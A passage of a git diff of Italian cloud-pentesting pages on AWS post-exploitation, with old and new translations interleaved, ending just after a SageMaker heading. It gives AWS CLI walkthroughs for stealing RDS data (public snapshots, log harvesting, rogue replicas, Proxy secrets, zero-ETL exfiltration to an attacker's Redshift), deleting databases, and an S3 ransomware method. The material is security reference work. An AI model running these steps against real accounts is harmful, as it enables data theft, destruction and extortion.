Un attaccante con queste autorizzazioni potrebbe **creare uno snapshot di un DB** e renderlo **disponibile** **pubblicamente**. Poi, potrebbe semplicemente creare nel suo account un DB da quel snapshot.
|
||||
Un attacker con queste autorizzazioni potrebbe **creare uno snapshot di un DB** e renderlo **pubblicamente** **disponibile**. Poi, potrebbe semplicemente creare nel proprio account un DB da quello snapshot.
|
||||
|
||||
Se l'attaccante **non ha `rds:CreateDBSnapshot`**, potrebbe comunque rendere **altri** snapshot creati **pubblici**.
|
||||
Se l'attacker **non ha la `rds:CreateDBSnapshot`**, potrebbe comunque rendere **altri** snapshot creati **pubblici**.
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -53,45 +53,45 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
Un attaccante con il permesso `rds:DownloadDBLogFilePortion` può **scaricare porzioni dei file di log di un'istanza RDS**. Se vengono accidentalmente registrati dati sensibili o credenziali di accesso, l'attaccante potrebbe utilizzare queste informazioni per ottenere privilegi più elevati o compiere azioni non autorizzate.
|
||||
Un attaccante con il permesso `rds:DownloadDBLogFilePortion` può **scaricare porzioni dei file di log di un'istanza RDS**. Se dati sensibili o credenziali di accesso vengono registrati per errore, l'attaccante potrebbe potenzialmente usare queste informazioni per elevare i propri privilegi o eseguire azioni non autorizzate.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**Impatto potenziale**: Accesso a informazioni sensibili o azioni non autorizzate usando credenziali leaked.
|
||||
**Potential Impact**: Accesso a informazioni sensibili o azioni non autorizzate utilizzando leaked credentials.
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
Un attaccante con queste autorizzazioni può **DoS le istanze RDS esistenti**.
|
||||
Un attaccante con questi permessi può **DoS existing RDS instances**.
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
**Impatto potenziale**: Eliminazione delle istanze RDS esistenti e possibile perdita di dati.
|
||||
**Impatto potenziale**: Cancellazione di istanze RDS esistenti e possibile perdita di dati.
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Da testare
|
||||
> Da testare
|
||||
|
||||
Un attaccante con questa autorizzazione può **esportare uno snapshot di un'istanza RDS in un bucket S3**. Se l'attaccante ha il controllo del bucket S3 di destinazione, può potenzialmente accedere a dati sensibili contenuti nello snapshot esportato.
|
||||
Un attaccante con questa autorizzazione può **esportare uno snapshot di un'istanza RDS in un bucket S3**. Se l'attaccante ha il controllo sul bucket S3 di destinazione, può potenzialmente accedere a dati sensibili contenuti nello snapshot esportato.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Potenziale impatto**: Accesso a dati sensibili nello snapshot esportato.
|
||||
**Impatto potenziale**: Accesso a dati sensibili nello snapshot esportato.
|
||||
|
||||
### Replicazione cross-Region dei backup automatici per un ripristino furtivo (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
### Replica cross-Region delle Automated Backups per ripristino stealth (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
Abusare della replica cross-Region dei backup automatici per duplicare silenziosamente i backup automatici di un'istanza RDS in un'altra AWS Regione e ripristinarli lì. L'attaccante può quindi rendere il DB ripristinato accessibile pubblicamente e reimpostare la password master per accedere ai dati out-of-band in una Regione che i difensori potrebbero non monitorare.
|
||||
Abusare della replica cross-Region delle Automated Backups per duplicare silenziosamente le Automated Backups di un'istanza RDS in un'altra AWS Region e ripristinarle lì. L'attaccante può poi rendere il DB ripristinato accessibile pubblicamente e resettare la password master per accedere ai dati fuori banda in una Region che i difensori potrebbero non monitorare.
|
||||
|
||||
Permessi necessari (minimi):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` nella Regione di destinazione
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` nella Regione di destinazione
|
||||
- `rds:RestoreDBInstanceToPointInTime` nella Regione di destinazione
|
||||
- `rds:ModifyDBInstance` nella Regione di destinazione
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (pulizia opzionale)
|
||||
Permissions needed (minimum):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` nella Region di destinazione
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` nella Region di destinazione
|
||||
- `rds:RestoreDBInstanceToPointInTime` nella Region di destinazione
|
||||
- `rds:ModifyDBInstance` nella Region di destinazione
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (cleanup opzionale)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (per esporre il DB ripristinato)
|
||||
|
||||
Impatto: Persistenza ed esfiltrazione di dati ripristinando una copia dei dati di produzione in un'altra Regione ed esponendoli pubblicamente con credenziali controllate dall'attaccante.
|
||||
Impact: Persistenza e esfiltrazione dei dati ripristinando una copia dei dati di produzione in un'altra Region ed esponendola pubblicamente con credenziali controllate dall'attaccante.
|
||||
|
||||
<details>
|
||||
<summary>CLI end-to-end (sostituire i segnaposto)</summary>
|
||||
@@ -163,26 +163,26 @@ aws rds stop-db-instance-automated-backups-replication \
|
||||
</details>
|
||||
|
||||
|
||||
### Abilitare il logging SQL completo tramite DB parameter groups ed esfiltrare tramite RDS log APIs
|
||||
### Abilitare il full SQL logging tramite DB parameter groups ed esfiltrare usando RDS log APIs
|
||||
|
||||
Abusa di `rds:ModifyDBParameterGroup` insieme alle RDS log download APIs per catturare tutte le istruzioni SQL eseguite dalle applicazioni (non servono credenziali del DB engine). Abilita il logging SQL del motore e scarica i file di log tramite `rds:DescribeDBLogFiles` e `rds:DownloadDBLogFilePortion` (o la REST `downloadCompleteLogFile`). Utile per raccogliere query che possono contenere secrets/PII/JWTs.
|
||||
Abuse `rds:ModifyDBParameterGroup` insieme alle RDS log download APIs per catturare tutte le istruzioni SQL eseguite dalle applicazioni (non sono necessarie le credenziali del DB engine). Abilita l'engine SQL logging e recupera i file di log tramite `rds:DescribeDBLogFiles` e `rds:DownloadDBLogFilePortion` (o la REST `downloadCompleteLogFile`). Utile per raccogliere query che possono contenere secrets/PII/JWTs.
|
||||
|
||||
Permessi necessari (minimo):
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
|
||||
- `rds:ModifyDBInstance` (solo per associare un custom parameter group se l'istanza usa quello di default)
|
||||
- `rds:ModifyDBInstance` (solo per associare un parameter group custom se l'istanza usa quello di default)
|
||||
- `rds:RebootDBInstance` (per parametri che richiedono reboot, es. PostgreSQL)
|
||||
|
||||
Passaggi
|
||||
1) Recon target e parameter group corrente
|
||||
1) Recon del target e del parameter group corrente
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) Assicurarsi che sia associato un gruppo di parametri DB personalizzato (non è possibile modificare quello predefinito)
|
||||
- Se l'istanza usa già un gruppo personalizzato, riutilizzarne il nome nel passo successivo.
|
||||
- Altrimenti creare e associare uno corrispondente alla famiglia del motore:
|
||||
2) Assicurati che sia associato un custom DB parameter group (non è possibile modificare quello di default)
|
||||
- Se l'istanza usa già un custom group, riutilizza il suo nome nel passaggio successivo.
|
||||
- Altrimenti crea e associa uno corrispondente all'engine family:
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
aws rds create-db-parameter-group \
|
||||
@@ -196,8 +196,8 @@ aws rds modify-db-instance \
|
||||
--apply-immediately
|
||||
# Wait until status becomes "available"
|
||||
```
|
||||
3) Abilitare la registrazione SQL dettagliata
|
||||
- Motori MySQL (immediato / nessun riavvio):
|
||||
3) Abilitare il logging SQL dettagliato
|
||||
- Motori MySQL (immediato / senza riavvio):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -208,7 +208,7 @@ aws rds modify-db-parameter-group \
|
||||
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
|
||||
```
|
||||
- Motori PostgreSQL (reboot required):
|
||||
- PostgreSQL engines (richiede riavvio):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -220,11 +220,11 @@ aws rds modify-db-parameter-group \
|
||||
# Reboot if any parameter is pending-reboot
|
||||
aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
```
|
||||
4) Lascia eseguire il workload (o genera query). Le istruzioni verranno scritte nei file di log del motore
|
||||
4) Lasciare che il workload venga eseguito (o generare query). Le istruzioni SQL verranno scritte nei file di log del motore
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
5) Individua e scarica i log (non sono richieste credenziali DB)
|
||||
5) Individuare e scaricare i file di log (no DB creds required)
|
||||
```bash
|
||||
aws rds describe-db-log-files --db-instance-identifier <DB>
|
||||
|
||||
@@ -235,7 +235,7 @@ aws rds download-db-log-file-portion \
|
||||
--starting-token 0 \
|
||||
--output text > dump.log
|
||||
```
|
||||
6) Analizzare offline i dati sensibili
|
||||
6) Analizzare offline alla ricerca di dati sensibili
|
||||
```bash
|
||||
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
|
||||
```
|
||||
@@ -246,7 +246,7 @@ Esempio di evidenza (oscurata):
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
|
||||
```
|
||||
Pulizia
|
||||
- Ripristinare i parametri ai valori predefiniti e riavviare se necessario:
|
||||
- Ripristina i parametri ai valori predefiniti e riavvia se necessario:
|
||||
```bash
|
||||
# MySQL
|
||||
aws rds modify-db-parameter-group \
|
||||
@@ -261,19 +261,19 @@ aws rds modify-db-parameter-group \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
Impatto: accesso ai dati in post-exploitation catturando tutte le istruzioni SQL dell'applicazione tramite AWS APIs (no DB creds), potenzialmente leaking secrets, JWTs, e PII.
|
||||
Impatto: Accesso ai dati post-exploitation catturando tutte le istruzioni SQL dell'applicazione tramite AWS APIs (no DB creds), potenzialmente leaking secrets, JWTs, and PII.
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
Abusa delle RDS read replicas per ottenere accesso in lettura out-of-band senza toccare le credenziali dell'istanza primaria. Un attacker può creare una read replica da un'istanza di produzione, resettare la master password della replica (questo non modifica la primaria), e opzionalmente esporre la replica pubblicamente per esfiltrare dati.
|
||||
Abusa delle RDS read replicas per ottenere accesso in lettura out-of-band senza toccare le credenziali dell'istanza primaria. Un attaccante può creare una read replica da un'istanza di produzione, resettare la master password della replica (questo non modifica quella della primaria), e opzionalmente esporre la replica pubblicamente per exfiltrate data.
|
||||
|
||||
Permessi necessari (minimo):
|
||||
Permissions needed (minimum):
|
||||
- `rds:DescribeDBInstances`
|
||||
- `rds:CreateDBInstanceReadReplica`
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
|
||||
|
||||
Impatto: accesso in sola lettura ai dati di produzione tramite una replica con credenziali controllate dall'attacker; minore probabilità di rilevamento poiché la primaria rimane intatta e la replicazione continua.
|
||||
Impatto: Accesso in sola lettura ai dati di produzione tramite una replica con credenziali controllate dall'attaccante; minore probabilità di rilevamento poiché la primaria rimane intatta e la replica continua a replicare.
|
||||
```bash
|
||||
# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
@@ -305,12 +305,12 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
|
||||
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
Esempio di evidenza (MySQL):
|
||||
- Stato DB replica: `available`, replicazione in sola lettura: `replicating`
|
||||
- Connessione riuscita con la nuova password e `@@read_only=1` che conferma l'accesso alla replica in sola lettura.
|
||||
- Stato Replica DB: `available`, replicazione in lettura: `replicating`
|
||||
- Connessione riuscita con la nuova password e `@@read_only=1` che conferma l'accesso in sola lettura alla replica.
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
Abusa di RDS Blue/Green per clonare un DB di produzione in un ambiente green continuamente replicato e in sola lettura. Poi reimposta le credenziali del master green per accedere ai dati senza toccare l'istanza blue (prod). Questo è più furtivo rispetto alla condivisione degli snapshot e spesso bypassa i sistemi di monitoraggio focalizzati solo sulla sorgente.
|
||||
Abusa di RDS Blue/Green per clonare un DB di produzione in un ambiente green continuamente replicato e in sola lettura. Poi reimposta le credenziali del master green per accedere ai dati senza toccare l'istanza blue (prod). Questo è più furtivo rispetto alla condivisione di snapshot e spesso aggira il monitoring focalizzato solo sulla sorgente.
|
||||
```bash
|
||||
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
|
||||
aws rds describe-db-instances \
|
||||
@@ -357,22 +357,22 @@ aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
Impatto: Accesso in sola lettura ma completo a una copia quasi in tempo reale della produzione senza modificare l'istanza di produzione. Utile per l'estrazione furtiva dei dati e l'analisi offline.
|
||||
Impatto: accesso in sola lettura ma completo ai dati di una copia quasi in tempo reale dell'ambiente di produzione senza modificare l'istanza di produzione. Utile per estrazioni dati furtive e analisi offline.
|
||||
|
||||
|
||||
### SQL fuori banda via RDS Data API abilitando l'endpoint HTTP + reimpostando la master password
|
||||
### SQL fuori banda via RDS Data API abilitando l'endpoint HTTP + reimpostando la password master
|
||||
|
||||
Abusa di Aurora per abilitare l'endpoint HTTP del RDS Data API su un cluster target, reimpostare la master password con un valore che controlli ed eseguire SQL su HTTPS (non è richiesto un percorso di rete VPC). Funziona sui motori Aurora che supportano il Data API/EnableHttpEndpoint (es., Aurora MySQL 8.0 provisioned; alcune versioni di Aurora PostgreSQL/MySQL).
|
||||
Abusa di Aurora per abilitare l'endpoint HTTP del RDS Data API su un cluster target, reimpostare la password master con un valore sotto il tuo controllo ed eseguire SQL su HTTPS (non è richiesto alcun percorso di rete VPC). Funziona sui motori Aurora che supportano Data API/EnableHttpEndpoint (es. Aurora MySQL 8.0 provisioned; alcune versioni di Aurora PostgreSQL/MySQL).
|
||||
|
||||
Permissions (minimum):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
|
||||
|
||||
Impatto: Elude la segmentazione di rete ed esfiltra dati tramite le API AWS senza connettività VPC diretta al DB.
|
||||
Impatto: aggirare la segmentazione di rete ed esfiltrare dati tramite AWS APIs senza connettività VPC diretta al DB.
|
||||
|
||||
<details>
|
||||
<summary>Esempio CLI end-to-end (Aurora MySQL)</summary>
|
||||
<summary>CLI end-to-end (esempio Aurora MySQL)</summary>
|
||||
```bash
|
||||
# 1) Identify target cluster ARN
|
||||
REGION=us-east-1
|
||||
@@ -425,21 +425,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
</details>
|
||||
|
||||
Note:
|
||||
- Se SQL con più istruzioni viene rifiutato da rds-data, inviare chiamate execute-statement separate.
|
||||
- Se SQL multi-istruzione viene rifiutato da rds-data, eseguire chiamate execute-statement separate.
|
||||
- Per gli engine in cui modify-db-cluster --enable-http-endpoint non ha effetto, usare rds enable-http-endpoint --resource-arn.
|
||||
- Assicurarsi che l'engine/versione supporti effettivamente la Data API; altrimenti HttpEndpointEnabled resterà False.
|
||||
- Assicurarsi che l'engine/version supporti effettivamente la Data API; altrimenti HttpEndpointEnabled resterà False.
|
||||
|
||||
|
||||
### Raccogliere le credenziali DB tramite i secret di autenticazione di RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
### Raccogliere le credenziali DB tramite i segreti di autenticazione di RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
Abusare della configurazione di RDS Proxy per individuare il secret di Secrets Manager usato per l'autenticazione del backend, quindi leggere il secret per ottenere le credenziali del database. Molti ambienti concedono ampi permessi `secretsmanager:GetSecretValue`, rendendo questo un pivot a basso attrito verso le credenziali DB. Se il secret usa una CMK, permessi KMS mal delimitati possono anche consentire `kms:Decrypt`.
|
||||
Abusare della configurazione di RDS Proxy per scoprire il secret di Secrets Manager utilizzato per l'autenticazione backend, poi leggere il secret per ottenere le credenziali del database. Molti ambienti concedono ampi permessi `secretsmanager:GetSecretValue`, rendendo questo un pivot a basso attrito verso le credenziali DB. Se il secret usa una CMK, permessi KMS mal configurati potrebbero anche consentire `kms:Decrypt`.
|
||||
|
||||
Permessi necessari (minimi):
|
||||
- `rds:DescribeDBProxies`
|
||||
- `secretsmanager:GetSecretValue` sul SecretArn referenziato
|
||||
- Opzionale se il secret utilizza una CMK: `kms:Decrypt` su quella chiave
|
||||
- Facoltativo quando il secret usa una CMK: `kms:Decrypt` su quella chiave
|
||||
|
||||
Impact: Divulgazione immediata del DB username/password configurato sul proxy; consente accesso diretto al DB o ulteriore lateral movement.
|
||||
Impatto: Divulgazione immediata dello username/password DB configurato sul proxy; permette accesso diretto al DB o ulteriore movimento laterale.
|
||||
|
||||
Passaggi
|
||||
```bash
|
||||
@@ -480,9 +480,9 @@ aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aw
|
||||
aws iam delete-role --role-name rds-proxy-secret-role
|
||||
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
|
||||
```
|
||||
### Esfiltrazione continua stealthy via Aurora zero‑ETL verso Amazon Redshift (rds:CreateIntegration)
|
||||
### Esfiltrazione continua furtiva tramite Aurora zero‑ETL verso Amazon Redshift (rds:CreateIntegration)
|
||||
|
||||
Abusa dell'integrazione Aurora PostgreSQL zero‑ETL per replicare continuamente i dati di produzione in un namespace Redshift Serverless che controlli. Con una resource policy Redshift permissiva che autorizza CreateInboundIntegration/AuthorizeInboundIntegration per uno specifico ARN del cluster Aurora, an attacker può stabilire una copia dei dati quasi in tempo reale senza DB creds, snapshots o esposizione di rete.
|
||||
Abusa dell'integrazione Aurora PostgreSQL zero‑ETL per replicare continuamente i dati di produzione in un namespace Redshift Serverless sotto il tuo controllo. Con una resource policy di Redshift permissiva che autorizza CreateInboundIntegration/AuthorizeInboundIntegration per un specifico Aurora cluster ARN, un attacker può stabilire una copia dei dati in near‑real‑time senza DB creds, snapshots o esposizione di rete.
|
||||
|
||||
Permessi necessari (minimi):
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
@@ -493,7 +493,7 @@ Permessi necessari (minimi):
|
||||
Testato su: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
|
||||
<details>
|
||||
<summary>1) Create Redshift Serverless namespace + workgroup</summary>
|
||||
<summary>1) Creare namespace Redshift Serverless + workgroup</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
|
||||
@@ -540,7 +540,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>3) Crea cluster Aurora PostgreSQL (abilita Data API e replica logica)</summary>
|
||||
<summary>3) Crea un cluster Aurora PostgreSQL (abilita Data API e logical replication)</summary>
|
||||
```bash
|
||||
CLUSTER_ID=aurora-ztl
|
||||
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
@@ -571,7 +571,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>4) Crea l'integrazione zero‑ETL da RDS</summary>
|
||||
<summary>4) Creare l'integrazione zero‑ETL da RDS</summary>
|
||||
```bash
|
||||
# Include all tables in the default 'postgres' database
|
||||
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
|
||||
@@ -583,7 +583,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>5) Materializzare e interrogare dati replicati in Redshift</summary>
|
||||
<summary>5) Materializzare e interrogare i dati replicati in Redshift</summary>
|
||||
```bash
|
||||
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
|
||||
@@ -596,12 +596,12 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
|
||||
```
|
||||
</details>
|
||||
|
||||
Evidenze osservate nel test:
|
||||
Evidenze rilevate nel test:
|
||||
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION ha mostrato integration_id 377a462b-c42c-4f08-937b-77fe75d98211 e state PendingDbConnectState prima della creazione del DB.
|
||||
- Dopo CREATE DATABASE FROM INTEGRATION, l'elenco delle tabelle ha rivelato lo schema ztl e la tabella customers; la SELECT su ztl.customers ha restituito 2 righe (Alice, Bob).
|
||||
- SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation.
|
||||
- Dopo CREATE DATABASE FROM INTEGRATION, l'elenco delle tabelle ha rivelato lo schema ztl e la tabella customers; una SELECT su ztl.customers ha restituito 2 righe (Alice, Bob).
|
||||
|
||||
Impatto: Exfiltration continua quasi in tempo reale di tabelle selezionate di Aurora PostgreSQL in Redshift Serverless controllato dall'attaccante, senza usare credenziali del database, backup o accesso di rete al cluster sorgente.
|
||||
Impatto: Esfiltrazione continua near‑real‑time di tabelle selezionate di Aurora PostgreSQL in Redshift Serverless controllato dall'attaccante, senza usare database credentials, backups o accesso di rete al cluster di origine.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,38 +0,0 @@
|
||||
# AWS - S3 Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Informazioni Sensibili
|
||||
|
||||
A volte sarà possibile trovare informazioni sensibili leggibili nei bucket. Ad esempio, segreti dello stato di terraform.
|
||||
|
||||
### Pivoting
|
||||
|
||||
Diverse piattaforme potrebbero utilizzare S3 per memorizzare asset sensibili.\
|
||||
Ad esempio, **airflow** potrebbe memorizzare il **codice** dei **DAG** lì, oppure **pagine web** potrebbero essere servite direttamente da S3. Un attaccante con permessi di scrittura potrebbe **modificare il codice** dal bucket per **pivotare** verso altre piattaforme, o **prendere il controllo degli account** modificando i file JS.
|
||||
|
||||
### Ransomware S3
|
||||
|
||||
In questo scenario, l'**attaccante crea una chiave KMS (Key Management Service) nel proprio account AWS** o in un altro account compromesso. Poi rende questa **chiave accessibile a chiunque nel mondo**, consentendo a qualsiasi utente, ruolo o account AWS di crittografare oggetti utilizzando questa chiave. Tuttavia, gli oggetti non possono essere decrittografati.
|
||||
|
||||
L'attaccante identifica un **bucket S3 target e ottiene accesso a livello di scrittura** utilizzando vari metodi. Questo potrebbe essere dovuto a una cattiva configurazione del bucket che lo espone pubblicamente o all'accesso dell'attaccante all'ambiente AWS stesso. L'attaccante di solito prende di mira i bucket che contengono informazioni sensibili come informazioni identificabili personalmente (PII), informazioni sanitarie protette (PHI), log, backup e altro.
|
||||
|
||||
Per determinare se il bucket può essere preso di mira per ransomware, l'attaccante controlla la sua configurazione. Questo include la verifica se **S3 Object Versioning** è abilitato e se **la cancellazione con autenticazione a più fattori (MFA delete) è abilitata**. Se Object Versioning non è abilitato, l'attaccante può procedere. Se Object Versioning è abilitato ma MFA delete è disabilitato, l'attaccante può **disabilitare Object Versioning**. Se sia Object Versioning che MFA delete sono abilitati, diventa più difficile per l'attaccante ransomware quel specifico bucket.
|
||||
|
||||
Utilizzando l'API AWS, l'attaccante **sostituisce ogni oggetto nel bucket con una copia crittografata utilizzando la propria chiave KMS**. Questo crittografa effettivamente i dati nel bucket, rendendoli inaccessibili senza la chiave.
|
||||
|
||||
Per esercitare ulteriore pressione, l'attaccante programma la cancellazione della chiave KMS utilizzata nell'attacco. Questo dà al target una finestra di 7 giorni per recuperare i propri dati prima che la chiave venga cancellata e i dati diventino permanentemente persi.
|
||||
|
||||
Infine, l'attaccante potrebbe caricare un file finale, solitamente chiamato "ransom-note.txt," che contiene istruzioni per il target su come recuperare i propri file. Questo file viene caricato senza crittografia, probabilmente per attirare l'attenzione del target e farlo diventare consapevole dell'attacco ransomware.
|
||||
|
||||
**Per ulteriori informazioni** [**controlla la ricerca originale**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,38 @@
|
||||
# AWS - S3 Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3
|
||||
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Sensitive Information
|
||||
|
||||
A volte potrai trovare informazioni sensibili leggibili nei bucket. Per esempio, terraform state secrets.
|
||||
|
||||
### Pivoting
|
||||
|
||||
Diverse piattaforme potrebbero usare S3 per memorizzare asset sensibili.
|
||||
Per esempio, **airflow** potrebbe memorizzare lì il **DAGs** **code**, oppure **web pages** potrebbero essere servite direttamente da S3. Un attaccante con permessi di scrittura potrebbe **modify the code** dal bucket per **pivot** verso altre piattaforme, o **takeover accounts** modificando file JS.
|
||||
|
||||
### S3 Ransomware
|
||||
|
||||
In questo scenario, the **attacker creates a KMS (Key Management Service) key in their own AWS account** o in un altro account compromesso. Successivamente rendono questa **key accessible to anyone in the world**, permettendo a qualsiasi AWS user, role, o account di cifrare oggetti usando questa key. Tuttavia, gli oggetti non possono essere decrittati.
|
||||
|
||||
L'attaccante identifica un target **S3 bucket and gains write-level access** usando vari metodi. Questo può essere dovuto a una cattiva configurazione del bucket che lo espone pubblicamente oppure all'accesso dell'attaccante all'ambiente AWS stesso. Tipicamente l'attaccante prende di mira bucket che contengono informazioni sensibili come personally identifiable information (PII), protected health information (PHI), log, backup e altro.
|
||||
|
||||
Per determinare se il bucket può essere preso di mira per ransomware, l'attaccante verifica la sua configurazione. Questo include controllare se è abilitato **S3 Object Versioning** e se è abilitato **multi-factor authentication delete (MFA delete)**. Se Object Versioning non è abilitato, l'attaccante può procedere. Se Object Versioning è abilitato ma MFA delete è disabilitato, l'attaccante può **disable Object Versioning**. Se sia Object Versioning che MFA delete sono abilitati, diventa più difficile per l'attaccante effettuare ransomware su quel bucket specifico.
|
||||
|
||||
Usando l'AWS API, l'attaccante **replaces each object in the bucket with an encrypted copy using their KMS key**. Questo effettivamente cifra i dati nel bucket, rendendoli inaccessibili senza la key.
|
||||
|
||||
Per aumentare la pressione, l'attaccante programma la cancellazione della KMS key usata nell'attacco. Questo dà al bersaglio una finestra di 7 giorni per recuperare i propri dati prima che la key venga cancellata e i dati vadano persi permanentemente.
|
||||
|
||||
Infine, l'attaccante potrebbe caricare un file finale, solitamente chiamato "ransom-note.txt", che contiene istruzioni per il bersaglio su come recuperare i propri file. Questo file viene caricato senza cifratura, probabilmente per attirare l'attenzione del bersaglio e fargli prendere conoscenza dell'attacco ransomware.
|
||||
|
||||
**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,179 @@
|
||||
# AWS - SageMaker Post-Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Sifonamento dei dati di un endpoint SageMaker tramite UpdateEndpoint DataCaptureConfig
|
||||
|
||||
Abusa della gestione degli endpoint SageMaker per abilitare la cattura completa di richieste/risposte in un bucket S3 controllato dall'attaccante senza toccare il modello o il container. Usa un rolling update a downtime zero/basso e richiede solo i permessi di gestione dell'endpoint.
|
||||
|
||||
### Requisiti
|
||||
